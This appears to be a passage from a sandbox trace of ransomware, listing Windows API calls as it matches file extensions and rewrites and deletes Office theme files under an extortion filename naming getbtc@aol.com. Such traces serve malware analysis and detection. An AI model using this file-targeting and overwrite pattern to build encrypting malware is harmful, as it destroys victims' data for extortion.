4 [0243.520] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0243.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0243.520] lstrlenW (lpString=".1cd") returned 4 [0243.520] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0243.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0243.520] lstrlenW (lpString=".jpg") returned 4 [0243.520] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0243.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0243.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0243.520] lstrlenW (lpString=".doc") returned 4 [0243.520] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0243.520] lstrlenW (lpString=".docx") returned 5 [0243.520] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0243.520] lstrlenW (lpString=".pdf") returned 4 [0243.520] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0243.520] lstrlenW (lpString=".xls") returned 4 [0243.520] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0243.520] lstrlenW (lpString=".xlsx") returned 5 [0243.520] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0243.520] lstrlenW (lpString=".ppt") returned 4 [0243.521] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0243.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0243.521] lstrlenW (lpString=".zip") returned 4 [0243.521] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0243.521] lstrlenW (lpString=".rar") returned 4 [0243.521] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0243.521] lstrlenW (lpString=".bz2") returned 4 [0243.521] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0243.521] lstrlenW (lpString=".7z") returned 3 [0243.521] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0243.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0243.521] lstrlenW (lpString=".dbf") returned 4 [0243.521] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0243.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0243.521] lstrlenW (lpString=".1cd") returned 4 [0243.521] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0243.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0243.521] lstrlenW (lpString=".jpg") returned 4 [0243.521] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0243.521] lstrcmpiW (lpString1=".eftx", lpString2=".Q1G") returned -1 [0243.521] lstrlenW (lpString="Clarity.eftx") returned 12 [0243.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0243.752] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=32818) returned 1 [0243.752] CloseHandle (hObject=0x3b8) returned 1 [0243.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx")) returned 0x20 [0243.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0243.752] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0243.752] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0243.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0243.755] GetLastError () returned 0x0 [0243.755] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x8032, lpOverlapped=0x0) returned 1 [0243.758] WriteFile (in: hFile=0x200, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x8040, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x8040, lpOverlapped=0x0) returned 1 [0243.761] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0243.761] WriteFile (in: hFile=0x200, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xec, lpOverlapped=0x0) returned 1 [0243.761] SetEndOfFile (hFile=0x200) returned 1 [0243.761] CloseHandle (hObject=0x200) returned 1 [0243.761] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0243.761] SetEndOfFile (hFile=0x3b8) returned 1 [0243.764] CloseHandle (hObject=0x3b8) returned 1 [0243.764] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0243.765] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx")) returned 1 [0243.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0243.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0243.765] lstrlenW (lpString=".doc") returned 4 [0243.765] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0243.765] lstrlenW (lpString=".docx") returned 5 [0243.765] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0243.765] lstrlenW (lpString=".pdf") returned 4 [0243.765] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0243.765] lstrlenW (lpString=".xls") returned 4 [0243.765] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0243.765] lstrlenW (lpString=".xlsx") returned 5 [0243.765] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0243.765] lstrlenW (lpString=".ppt") returned 4 [0243.765] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0243.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0243.765] lstrlenW (lpString=".zip") returned 4 [0243.766] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0243.766] lstrlenW (lpString=".rar") returned 4 [0243.766] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0243.766] lstrlenW (lpString=".bz2") returned 4 [0243.766] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0243.766] lstrlenW (lpString=".7z") returned 3 [0243.766] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0243.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0243.766] lstrlenW (lpString=".dbf") returned 4 [0243.766] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0243.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0243.766] lstrlenW (lpString=".1cd") returned 4 [0243.766] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0243.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0243.766] lstrlenW (lpString=".jpg") returned 4 [0243.766] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0243.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0243.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0243.766] lstrlenW (lpString=".doc") returned 4 [0243.766] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0243.766] lstrlenW (lpString=".docx") returned 5 [0243.766] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0243.766] lstrlenW (lpString=".pdf") returned 4 [0243.766] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0243.766] lstrlenW (lpString=".xls") returned 4 [0243.766] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0243.766] lstrlenW (lpString=".xlsx") returned 5 [0243.766] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0243.766] lstrlenW (lpString=".ppt") returned 4 [0243.766] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0243.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0243.767] lstrlenW (lpString=".zip") returned 4 [0243.767] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0243.767] lstrlenW (lpString=".rar") returned 4 [0243.767] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0243.767] lstrlenW (lpString=".bz2") returned 4 [0243.767] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0243.767] lstrlenW (lpString=".7z") returned 3 [0243.767] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0243.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0243.767] lstrlenW (lpString=".dbf") returned 4 [0243.767] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0243.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0243.767] lstrlenW (lpString=".1cd") returned 4 [0243.767] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0243.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0243.767] lstrlenW (lpString=".jpg") returned 4 [0243.767] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0243.767] lstrcmpiW (lpString1=".eftx", lpString2=".Q1G") returned -1 [0243.767] lstrlenW (lpString="Concourse.eftx") returned 14 [0243.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0243.768] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=22417) returned 1 [0243.768] CloseHandle (hObject=0x3b8) returned 1 [0243.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx")) returned 0x20 [0243.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0243.769] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0243.769] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0243.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0243.770] GetLastError () returned 0x0 [0243.770] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x5791, lpOverlapped=0x0) returned 1 [0243.772] WriteFile (in: hFile=0x200, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x57a0, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x57a0, lpOverlapped=0x0) returned 1 [0243.773] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0243.773] WriteFile (in: hFile=0x200, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0243.774] SetEndOfFile (hFile=0x200) returned 1 [0243.774] CloseHandle (hObject=0x200) returned 1 [0243.774] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0243.774] SetEndOfFile (hFile=0x3b8) returned 1 [0243.777] CloseHandle (hObject=0x3b8) returned 1 [0243.777] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0243.777] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx")) returned 1 [0243.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0243.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0243.778] lstrlenW (lpString=".doc") returned 4 [0243.778] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0243.778] lstrlenW (lpString=".docx") returned 5 [0243.778] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0243.778] lstrlenW (lpString=".pdf") returned 4 [0243.778] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0243.778] lstrlenW (lpString=".xls") returned 4 [0243.778] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0243.778] lstrlenW (lpString=".xlsx") returned 5 [0243.778] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0243.778] lstrlenW (lpString=".ppt") returned 4 [0243.778] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0243.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0243.778] lstrlenW (lpString=".zip") returned 4 [0243.778] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0243.778] lstrlenW (lpString=".rar") returned 4 [0243.778] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0243.778] lstrlenW (lpString=".bz2") returned 4 [0243.778] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0243.778] lstrlenW (lpString=".7z") returned 3 [0243.778] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0243.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0243.778] lstrlenW (lpString=".dbf") returned 4 [0243.778] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0243.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0243.778] lstrlenW (lpString=".1cd") returned 4 [0243.778] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0243.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0243.779] lstrlenW (lpString=".jpg") returned 4 [0243.779] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0243.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0243.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0243.779] lstrlenW (lpString=".doc") returned 4 [0243.779] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0243.779] lstrlenW (lpString=".docx") returned 5 [0243.779] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0243.779] lstrlenW (lpString=".pdf") returned 4 [0243.779] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0243.779] lstrlenW (lpString=".xls") returned 4 [0243.779] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0243.779] lstrlenW (lpString=".xlsx") returned 5 [0243.779] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0243.779] lstrlenW (lpString=".ppt") returned 4 [0243.779] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0243.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0243.779] lstrlenW (lpString=".zip") returned 4 [0243.779] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0243.779] lstrlenW (lpString=".rar") returned 4 [0243.779] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0243.779] lstrlenW (lpString=".bz2") returned 4 [0243.780] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0243.780] lstrlenW (lpString=".7z") returned 3 [0243.780] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0243.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0243.780] lstrlenW (lpString=".dbf") returned 4 [0243.780] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0243.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0243.780] lstrlenW (lpString=".1cd") returned 4 [0243.780] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0243.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0243.780] lstrlenW (lpString=".jpg") returned 4 [0243.780] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0243.780] lstrcmpiW (lpString1=".eftx", lpString2=".Q1G") returned -1 [0243.780] lstrlenW (lpString="Couture.eftx") returned 12 [0243.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0243.781] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=1967905) returned 1 [0243.781] CloseHandle (hObject=0x3b8) returned 1 [0243.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx")) returned 0x20 [0243.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.781] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0243.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0243.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0243.782] lstrlenW (lpString=".doc") returned 4 [0243.782] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0243.782] lstrlenW (lpString=".docx") returned 5 [0243.782] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0243.782] lstrlenW (lpString=".pdf") returned 4 [0243.782] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0243.782] lstrlenW (lpString=".xls") returned 4 [0243.782] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0243.782] lstrlenW (lpString=".xlsx") returned 5 [0243.782] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0243.782] lstrlenW (lpString=".ppt") returned 4 [0243.782] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0243.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0243.782] lstrlenW (lpString=".zip") returned 4 [0243.782] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0243.782] lstrlenW (lpString=".rar") returned 4 [0243.782] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0243.782] lstrlenW (lpString=".bz2") returned 4 [0243.782] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0243.782] lstrlenW (lpString=".7z") returned 3 [0243.782] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0243.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0243.782] lstrlenW (lpString=".dbf") returned 4 [0243.782] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0243.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0243.782] lstrlenW (lpString=".1cd") returned 4 [0243.782] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0243.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0243.782] lstrlenW (lpString=".jpg") returned 4 [0243.782] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0243.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0243.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0243.782] lstrlenW (lpString=".doc") returned 4 [0243.782] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0243.783] lstrlenW (lpString=".docx") returned 5 [0243.783] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0243.783] lstrlenW (lpString=".pdf") returned 4 [0243.783] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0243.783] lstrlenW (lpString=".xls") returned 4 [0243.783] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0243.783] lstrlenW (lpString=".xlsx") returned 5 [0243.783] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0243.783] lstrlenW (lpString=".ppt") returned 4 [0243.783] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0243.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0243.783] lstrlenW (lpString=".zip") returned 4 [0243.783] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0243.783] lstrlenW (lpString=".rar") returned 4 [0243.783] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0243.783] lstrlenW (lpString=".bz2") returned 4 [0243.783] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0243.783] lstrlenW (lpString=".7z") returned 3 [0243.783] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0243.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0243.783] lstrlenW (lpString=".dbf") returned 4 [0243.783] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0243.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0243.783] lstrlenW (lpString=".1cd") returned 4 [0243.783] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0243.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0243.783] lstrlenW (lpString=".jpg") returned 4 [0243.783] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0243.783] lstrcmpiW (lpString1=".eftx", lpString2=".Q1G") returned -1 [0243.783] lstrlenW (lpString="Elemental.eftx") returned 14 [0243.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0243.784] GetFileSizeEx (in: hFile=0x3a0, 